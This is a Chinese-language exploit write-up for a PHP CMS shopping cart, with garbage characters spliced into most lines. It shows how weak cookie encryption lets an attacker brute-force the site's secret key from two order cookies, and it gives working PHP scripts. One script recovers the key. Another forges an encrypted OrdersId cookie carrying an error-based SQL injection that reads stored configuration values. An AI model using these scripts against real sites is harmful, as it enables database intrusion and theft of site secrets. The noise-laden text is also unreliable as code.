www.xxx.com/plus/search.php?keyword=3 T- Z6 z O) G8 `3 L: a4 E
在 include/shopcar.class.php中! c' N& c+ V% I' H) ^ ~+ X
先看一下这个shopcar类是如何生成cookie的
5 Z( A: {: S: j5 ?0 e: t0 N239 function saveCookie($key,$value)' G$ M: w6 f) m$ k* U4 x
240 {
2 D) Y: z1 `" `% j241 if(is_array($value))! Q4 `7 A3 Q$ N% f
242 {- ^$ W6 e p3 B, }
243 $value = $this->enCrypt($this->enCode($value));
( |' N. c* g. v0 h8 P244 }
# g @7 b1 v8 o% E9 ~245 else- [/ e1 t; D! m$ C) u O
246 {$ ]/ h# ?. v- h9 t) @( k. E
247 $value = $this->enCrypt($value);
. g% m. q9 i0 A/ @# i248 }
6 B1 k' ?2 X9 Y249 setcookie($key,$value,time()+36000,’/');
8 F8 h# C. Q J* B; ~( `1 K4 P250 }& u. @* u0 p/ j D1 s$ N
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
* Y9 C' N7 J$ p1 Z186 function enCrypt($txt)
6 d* h6 Y: k9 i1 }9 _/ \+ d187 {
" ^, Z$ h5 Y) G1 S' z188 srand((double)microtime() * 1000000);6 q0 Q; `1 h& k- X1 q* Q0 T
189 $encrypt_key = md5(rand(0, 32000));
* P- A( x3 X7 c3 P. h* S190 $ctr = 0;
* C# z a6 c1 P9 [# J: T i191 $tmp = ”;
/ z% v( b* j& w1 M/ C% i: h1 W. f1 g192 for($i = 0; $i < strlen($txt); $i++). F0 U- M# `+ ^- M4 X
193 { w. g& ~) [1 Q" P0 R/ K
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
9 S0 |! q0 s# r7 q0 c195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);, Z. \! [# h x0 ~, v; } L( R \
196 }
$ g0 ` s6 X; R! F197 return base64_encode($this->setKey($tmp));% W$ B3 P m5 s) y: n" f
198 }
' G7 F/ r, x: ^; |( W2 @213 function setKey($txt)5 `3 Z' l4 Z! |6 K" I
214 {! v9 l7 @ l0 ^4 e1 z d" ?
215 global $cfg_cookie_encode;
' _4 b/ Z9 o, F& a0 c5 [216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
( O! l8 ?) \% D217 $ctr = 0;
0 ^# u& k u& G/ H5 j218 $tmp = ”;
) S2 j8 ^3 G2 ?7 I# i219 for($i = 0; $i < strlen($txt); $i++)
5 y! M) R6 {) s# g5 R220 {
: y' K. s- {+ A& ?& K221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
1 h$ O, }0 D7 K222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
! W8 u5 w4 ^+ d8 P8 R- Z223 }8 _# t' k. j- }8 ?# L2 Q/ I
224 return $tmp;
! ?/ O( L+ d) f8 [5 M225 }9 x0 g* \6 b+ O; n( y3 e
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
0 o7 r5 x$ H; v9 J; Y F" K然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。( a: ~0 l1 z' a, X) |; }7 Q
具体代码如下:
; p" Z- a& ]% n6 s8 G: h. W<?php B6 y: q" j8 {' K' L! U" B- U0 i: q" V
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
/ y* J/ ~ I% T; L% q" A/ _, H$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
- L8 V. _( f$ b$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here3 V' _! V8 t& J5 D- Y
function reStrCode($code,$string)
! K# `1 u8 P3 d2 T# e# Q{7 r* D% w; f% W" X8 R
$code = base64_decode($code);4 u1 _0 ` Q2 d7 j
$key = “”;
3 p8 _" S9 r5 r+ t" L$ F; s. _) Afor($i=0 ; $i<32 ; $i++), J/ D% W0 b0 D0 I) R6 _
{% X& ~+ i! o0 Y6 r
$key .= $string[$i] ^ $code[$i];
$ v& k1 [1 i# Q0 J. h) G- e% b}: ^: I) B) ]. [' ]1 S1 H. d# X; c
return $key;# A) E/ W; C% @7 L" B
}" m# |; a3 N* Z! g1 j7 K8 Z- U: l
function getKeys($cookie,$plantxt)
7 ~* P+ T. C6 R4 q) u% Q! Z# I: v; w{7 P# ~" L, L; k0 W
$tmp = $cookie;# Q5 n+ y3 L, f }3 ?' u
$results = array();
* t* V7 Y1 v, [! z" Kfor($j=0 ; $j < 32000; $j++). O7 b- i# p5 e# @4 R3 M
{
8 s. c v4 @: o3 d( o2 r' E% K& ^+ t/ c$ T$ }9 r
$txt = $plantxt;
6 t5 b1 y8 @8 e2 H- X3 ?$ctr = 0;5 J/ y) U& @0 H! q4 Q" I
$tmp = ”;$ q% b2 u+ D$ {& n j* u
$encrypt_key = md5($j);# y- D) G* y+ f6 j
for($i =0; $i < strlen($txt); $i ++); I( k& _9 P! V' E" k D. L
{0 G G# k7 M! ~0 Y9 K6 I$ E
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;: z& j9 c2 c8 ^7 }; h4 l
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
' J) ^5 P) i$ G( K' `5 J# I}3 F# z0 \; K6 B; A2 {! n
$string = $tmp;7 A2 R& `5 H- _' g# \: n9 k
$code = $cookie;% `6 s" s% ]: A+ a9 Z z
$result = reStrCode($code,$string);
u# P2 G$ Q sif(eregi(‘^[a-z0-9]+$’,$result))8 _3 u" U7 `+ w/ p8 X
{0 i; k0 Q/ E7 p, @% E
echo $result.”\n”;
+ r5 S+ {$ s4 N$results[] = $result;
3 X# V; ^' v; j3 R+ T- r}' c L z; p, o, |& l1 W1 M
}( r$ O, ~% N `- U
return $results;
$ S! C+ X: s4 \}
2 `5 p( N6 A. W3 j$results1 = getKeys($cookie1,$plantxt);. _8 n9 T+ g. r% j }
$results2 = getKeys($cookie2,$plantxt);
8 I$ G% c o( D: s+ t* u9 [+ m* n4 Bprint “\n——————–real key————————–\n”;
4 K8 E0 ^ t$ B! f7 t pforeach($results1 as $test1)
2 f: ^. B! R, I# D, P{$ @' @, u9 T% [4 i
foreach($results2 as $test2)# e q; p2 R# S5 u& e
{( \" P% g0 r& V0 `* D2 W/ l$ A- s
if($test1 == $test2)6 a& [% e `1 P0 k! ?( z2 w$ b: ^
{
8 @8 h; R R: C+ F3 R- Aecho $test1.”\n”;3 ?6 h' ]3 I) W" @* Y2 Z
}
6 G N5 T6 s& S3 l- S2 H1 M% m" U _}0 J9 c% l; [* S. ^0 C! e
}5 C6 ^9 ~6 w# q# d1 I: L
?>- p$ X, ]8 y# p2 r
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,$ _1 T; S0 s3 q
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
' U4 A( |% D9 X4 W然后推算出md5(strtolower($cfg_cookie_encode)): n6 ^. ^- U: O7 m, J
得到这个key之后,我们就可以构造任意购物车的cookie
! d# I5 M& A' w- s0 G. F( E. Q接着看
& G. ]. C' p; v9 t20 class MemberShops! C7 V1 x: \5 ^6 s& U2 Z% |
21 {
& o0 {$ U3 G6 z! y$ f22 var $OrdersId;
6 W6 u$ v k; H0 u& _23 var $productsId;2 n' `" r: W4 v& ?6 v+ P
24
6 ^" l9 a0 k I; t3 _, p. Q25 function __construct()
2 |( ~1 ]0 h$ V7 L; h$ ~: [* D26 {7 ~* g: P5 B2 o5 l
27 $this->OrdersId = $this->getCookie(“OrdersId”);
# f9 b! V2 H7 w _: P' r28 if(empty($this->OrdersId))
0 O: l0 v p6 w* D29 {
b6 L0 |7 N1 c0 ~6 f30 $this->OrdersId = $this->MakeOrders();
) y4 K2 a2 t b7 E- e! J/ ]$ {31 }9 o9 c2 Q, f7 T0 _8 I
32 }/ W5 ^. y J' n9 {
发现OrderId是从cookie里面获取的
1 V/ m0 F. ~( a5 u7 h: a+ l然后% S {3 q$ B8 _! h+ O3 E
/plus/carbuyaction.php中的
# o% F; O' B/ q! ?/ k, i29 $cart = new MemberShops();
9 x0 q! z8 V& o3 ?- I9 ~) g ]+ C4 _39 $OrdersId = $cart->OrdersId; //本次记录的订单号
% r! h+ D! d# f9 l8 L……& y! k3 t2 s. Z
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);2 J5 b |- f7 E4 j% O
接着我们就可以注入了$ e% \$ ^5 t& x6 o( v
通过利用下面代码生成cookie:
( D, \/ x: m7 ~5 x<?php
% S7 `: u7 S O" T9 {$ m/ Y) W5 d$ |$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;. y/ `" T$ k3 {6 l! U
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
: l2 c0 |1 t9 m" }# t2 \5 Yfunction setKey($txt)
3 c, I8 |' a2 }% L0 T; _2 w( I{2 q: B" p( D$ K0 y
global $encrypt_key;8 d& T: g u- I6 C( C- U; h
$ctr = 0;3 [' E$ c* \' g. X' u/ l" e
$tmp = ”;
+ H* N P! L, e* G+ T5 [5 S7 qfor($i = 0; $i < strlen($txt); $i++)
# K$ D f* Z& f6 q{
4 b; T) s* r0 }7 Y% q4 U( y7 I& t$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
2 s# U4 I" O3 \. `& M; F$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
) N/ I5 z# P( l, v" u4 \}
0 P. _) Z( ], Y7 W" T6 x i2 t6 _return $tmp;8 Q3 S( k( M3 k! y4 r
}
9 x- H! i$ Q9 H$ e Mfunction enCrypt($txt)
; M- V. ~0 R0 F{9 Q: f! Z: L9 b& h: W
srand((double)microtime() * 1000000);. U* ^, X, s( I B+ {0 g
$encrypt_key = md5(rand(0, 32000));1 E) d4 D- L5 Y* d6 R
$ctr = 0;
: h& N" N4 `; ]% ^. b9 D1 a$tmp = ”;# S s' y, h: T0 B, C! t
for($i = 0; $i < strlen($txt); $i++)8 R h G* y/ W# g& g* w O
{
" O8 u5 o: B4 ~. D0 _9 m. S$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
* {2 K5 U* V1 j$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
0 x6 X& J/ i# y9 m5 D}
5 B9 o/ B* S8 d& k3 D) [return base64_encode(setKey($tmp));+ \% S2 j& ], ]
}
3 i: A5 p- P2 ?, M: `* tfor($dest =0;$dest = enCrypt($txt);)
: M/ d' k" K3 d3 q- A0 [{
1 G8 m5 T7 J1 fif(!strpos($dest,’+'))
- t- j, b+ d4 ^+ V% T{+ V. c3 f X3 k. |7 s0 Y
break;' X! n1 O; c$ G7 b+ Z
}
4 m: s2 E% {& z; b8 y}
, g8 L5 v' [: M2 I) wecho $dest.”\n”;' g$ P6 y: b: l/ k* m
?>: P3 Q4 X* r; W( g* @; U! ?
% w! _8 B: f) D N$ _ |